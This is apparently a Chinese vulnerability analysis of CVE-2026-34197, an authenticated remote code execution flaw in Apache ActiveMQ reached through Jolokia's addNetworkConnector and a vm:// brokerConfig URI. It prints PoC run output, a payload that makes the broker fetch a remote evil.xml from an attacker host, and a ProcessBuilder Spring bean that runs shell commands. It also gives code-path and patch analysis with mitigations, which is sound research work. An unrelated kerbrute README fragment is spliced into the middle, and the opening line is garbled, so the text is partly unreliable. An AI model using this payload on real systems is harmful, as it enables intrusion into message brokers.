# LUNAR

基于描述，LUNAR 提供用于 websec 的字符串。```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

=> RCE 成功，在目标系统上创建了文件 `blahblah.txt`。

# 分析阶段
## 动态分析```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)

❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

验证连接```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

然后使用 grep 查找 clean chain```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

这一行至关重要，因为它确认了攻击者通过以下方式提供的URI控制：```java
BrokerView.addNetworkConnector(String)

此URI包含两个重要部分：

| 组件              | 目的                                              |
| ----------------- | ------------------------------------------------- |
| `static:(...)`   | ActiveMQ发现连接器使用的包装器                      |
| `vm://evil?...`  | ActiveMQ内部处理的VM传输URI                         |

`static:(...)` 包装器本身并非易受攻击的组件。其目的是将封装的传输URI传递给ActiveMQ的网络连接器子系统。

在运行时执行期间，ActiveMQ提取并处理了内部的VM传输URI：```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

The `brokerConfig=` 参数是有效载荷的关键部分。它指示 VM 传输层使用从以下位置加载的外部 Spring xbean 配置动态创建一个 broker 实例：```text
http://192.168.1.32:9999/evil.xml

因此，远程 XML 文档被解析并作为 Spring 应用程序上下文在代理 JVM 内实例化。

恶意 XML 包含以下 Spring bean：```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

由于Spring在上下文初始化期间会急切地实例化单例bean，`ProcessBuilder.start()` 方法在ActiveMQ验证代理配置本身是否安全或有效之前就执行了。

这导致在目标容器上执行任意命令。

通过检查ActiveMQ容器内的 `/tmp` 目录验证了该利用方法：```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

这证明在ActiveMQ容器上下文中成功执行了任意操作系统命令。

运行时堆栈跟踪还揭示了完整的易受攻击的执行路径：```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

动态分析期间最重要的观察之一是Spring和ActiveMQ处理恶意配置的顺序。

有效载荷成功执行后，ActiveMQ随后生成了以下警告:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Even though the broker configuration itself was ultimately rejected, the malicious Spring bean had already been instantiated and executed.

即使 broker 配置最终被拒绝，恶意的 Spring bean 也已被实例化并执行。

This ordering issue is the core logic flaw behind CVE-2026-34197.

这个顺序问题是 CVE-2026-34197 背后的核心逻辑缺陷。

The dynamic analysis identified the following components participating in the exploit chain:

动态分析识别出参与漏洞利用链的以下组件：

| Component                     | Role                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | HTTP 到 JMX 桥接                   |
| BrokerView                    | 暴露的管理 MBean                  |
| VMTransportFactory            | 解析 `vm://` 传输 URI             |
| BrokerFactory                 | 创建 broker 实例                   |
| XBeanBrokerFactory            | 加载 Spring xbean 配置            |
| ResourceXmlApplicationContext | 加载远程 XML                      |
| XmlBeanDefinitionReader       | 解析 Spring bean 定义             |
| Spring BeanFactory            | 实例化单例 bean                    |
| ProcessBuilder                | 执行操作系统命令                   |

The dynamic analysis confirms that CVE-2026-34197 is caused by the interaction between:

动态分析确认 CVE-2026-34197 是由以下交互引起的：

* Overly permissive Jolokia management operations
* 过于宽松的 Jolokia 管理操作
* Attacker-controlled transport URIs
* 攻击者控制的传输 URI
* VM transport broker auto-creation
* VM 传输 broker 自动创建
* Spring xbean remote configuration loading
* Spring xbean 远程配置加载
* Eager singleton bean instantiation before validation
* 验证前急切实例化单例 bean

As a result, an authenticated attacker can achieve arbitrary code execution on the ActiveMQ JVM by supplying a malicious `brokerConfig=xbean:http://...` URI through the Jolokia-exposed `addNetworkConnector()` operation.

因此，经过身份验证的攻击者可以通过 Jolokia 暴露的 `addNetworkConnector()` 操作提供恶意 `brokerConfig=xbean:http://...` URI，在 ActiveMQ JVM 上实现任意代码执行。

### Architecture Overview

### 架构概述

Apache ActiveMQ Classic exposes a management interface through the Jolokia JMX-HTTP bridge available at:

Apache ActiveMQ Classic 通过以下地址的 Jolokia JMX-HTTP 桥接公开管理接口：```text id="n0vmrq"
/api/jolokia/

以下组件参与了利用链：

| 组件                  | 功能                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | 通过HTTP暴露JMX操作                         |
| BrokerView            | 管理MBean接口                               |
| VMTransportFactory    | 处理 `vm://` 传输URI                        |
| BrokerFactory         | 动态创建代理                                |
| XBeanBrokerFactory    | 加载Spring xbean配置                        |
| Spring Context Loader | 解析并实例化XML Bean定义                   |
| ProcessBuilder        | 执行操作系统命令                            |

该架构变得脆弱，因为ActiveMQ允许经过身份验证的用户使用攻击者控制的传输URI调用危险的代理管理方法。

---

### 攻击面分析

主要攻击面是通过ActiveMQ Web控制台暴露的Jolokia HTTP端点：```text id="xq7vba"
http://<target>:8161/api/jolokia/

Jolokia端点接受使用HTTP基本身份验证的认证请求：```json id="13tzmx"
"authMode":"basic"

该方法接收一个用户控制的传输URI，而没有充分限制危险的URI方案或配置参数。

攻击者提供了以下有效载荷：```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

关键参数是：```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Spring 然后通过以下方式加载远程 XML：```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

在 Spring 应用上下文初始化期间，单例 bean 会被立即实例化。因此，`ProcessBuilder.start()` 方法会立即执行。

关键逻辑缺陷在于，Spring bean 的实例化发生在 ActiveMQ 验证代理配置自身是否安全或有效之前。

这一行为通过以下方式被动态证实：

1. 恶意有效载荷成功创建了 `/tmp/blahblah.txt`
2. ActiveMQ 随后拒绝了该代理配置，报错为：```text id="6k1dwn"
The configuration has no BrokerService instance

通过：```text id="pt2n3d"
/api/jolokia/

恶意载荷示例：```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

来自代理 JVM 的意外出站 HTTP 流量应进行调查。

#### 可疑的运行时日志

以下运行时消息可疑：```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

### 🚧 新功能与后续步骤
我们一直在忙于优化 `kerbrute`，并有一些即将推出的功能和生活质量改进想要添加，因此我们迁移到了使用 GitHub Projects 来跟踪它们。

如果您想了解 `v2.0` 版本的内容，请查看该项目 **[这里](https://github.com/ropnop/kerbrute/projects/1)**！

---

#### 致谢
感谢 [Harmj0y](https://blog.harmj0y.net)、[Impacket](https://github.com/SecureAuthCorp/impacket) 和 [PyKerberos](https://github.com/02strich/pykerberos) 项目。许多库代码都从他们的成果中学习而来。```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

或者来自ActiveMQ JVM的可疑子进程执行可能表明受到攻击。

---

### 影响分析

成功利用可在ActiveMQ JVM上下文中执行经过身份验证的远程代码。

在分析环境中，任意操作系统命令在容器内成功执行：```bash id="2hyz0w"
touch /tmp/blahblah.txt

该文件创建为：```text id="9phgkz"
Uid: (0/root)

#### 限制 Jolokia 访问

如非必需，请禁用 Jolokia。

如果必须保持 Jolokia 启用：

* 限制访问仅限于可信管理网络
* 实施强身份验证
* 禁用危险的执行操作
* 应用严格的 Jolokia 访问策略

#### 删除默认凭据

请勿使用：```text id="9mw1xv"
admin:admin

MBean 接口将该操作暴露为：```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

连接器对象随后使用本地代理URI进行配置，并添加到代理中：```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

对于漏洞利用URI：```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

存在漏洞的方法为：```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

`create` 选项默认为 `true`：```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

这是传输层面的权限边界失效。通过管理层提供的 URI 被 VM 传输层评估为指令，用于从任意配置 URI 创建代理。

剩余的参数验证在代理创建之后进行：```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

对于 `static:(...)`，`SimpleDiscoveryAgent.start()` 会立即发出每个已配置的服务：```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

处理程序查找是基于方案的：```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

精确静态调用流程：```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

到:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

`createBroker()` 提取 `xbean:` URI 中方案特有的部分，并在检查是否包含代理之前创建一个 Spring 应用上下文：```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

`Utils.resourceFromString()` 接受远程资源：```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

被简化为：```text
http://192.168.1.32:9999/evil.xml

在 XBean 4.25 中，`ResourceXmlApplicationContext` 在其构造函数中调用 `refresh()`：```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

Spring 的 `AbstractApplicationContext.refresh()` 方法随后会初始化 Bean 工厂并实例化非懒加载的单例 Bean：```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

`DefaultListableBeanFactory.preInstantiateSingletons()` 会创建所有非抽象、单例、非延迟加载的 bean:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

自定义初始化方法从bean定义中解析：```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

一个恶意的Spring XML bean，例如：```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

这发生在 `XBeanBrokerFactory.createBroker()` 通过查找 `BrokerService` bean 验证结果上下文之前：```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

验证发生得太晚，因为`XBeanBrokerFactory`中唯一的代理配置验证发生在：```java
new ResourceXmlApplicationContext(resource)

当ActiveMQ确定XML中没有有效的`BrokerService`时，攻击者控制的Spring beans可能已经执行了。

---

### 补丁分析

相关的差异已通过以下工具进行了审查：```bash
git diff activemq-5.18.6..activemq-5.19.4

在 5.18.6 中，`addNetworkConnector()` 直接转发了该字符串：```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

同样的验证也添加到了 `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

修补后的执行路径变为：```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

该补丁并未全局移除VM传输支持。它限制了通过面向JMX的`BrokerView`连接器创建方法对`vm://`的使用。使用VM传输的内部或受信任代码路径仍然存在。

在5.18.6和5.19.4之间，`VMTransportFactory.doCompositeConnect()`没有进行任何与安全相关的更改。`brokerConfig`行为保持不变：```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

这是类型安全清理，而非 RCE 缓解。基于方案的调度到 `XBeanBrokerFactory` 仍然保留。

`BrokerService` 在某些路径中增加了用于连接器启动的 `isAutoStart()` 检查：```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

利用是可行的，因为ActiveMQ暴露了一个接受连接器URI的管理操作，但下游传输实现可以将该URI解释为代理创建配置。`brokerConfig`参数从传输连接逻辑跨越到代理工厂逻辑。通过`xbean:`值，它再次跨越到Spring XML处理。

Spring执行原语并非单独的反序列化漏洞。这是正常的Spring生命周期行为：在上下文刷新期间实例化非懒加载的单例bean，并调用其配置的`init-method`。因此，一个具有`init-method="start"`的`java.lang.ProcessBuilder`bean会在应用程序上下文初始化期间执行一个进程。

验证失败是一个顺序缺陷。ActiveMQ仅在`ResourceXmlApplicationContext`已加载XML并初始化单例bean之后，才验证XBean配置是否包含可用的`BrokerService`。刷新后拒绝代理配置并不会撤销bean生命周期方法的副作用。

5.19.4补丁通过以下方式缓解了这一特定路径：在连接器创建之前在`BrokerView`中添加URI验证，并拒绝从JMX管理界面使用`vm://`传输。该补丁阻止了通向`VMTransportFactory.doCompositeConnect()`的暴露路径；它没有从受信任的内部配置路径中移除`brokerConfig`、`xbean:`支持或Spring XBean加载。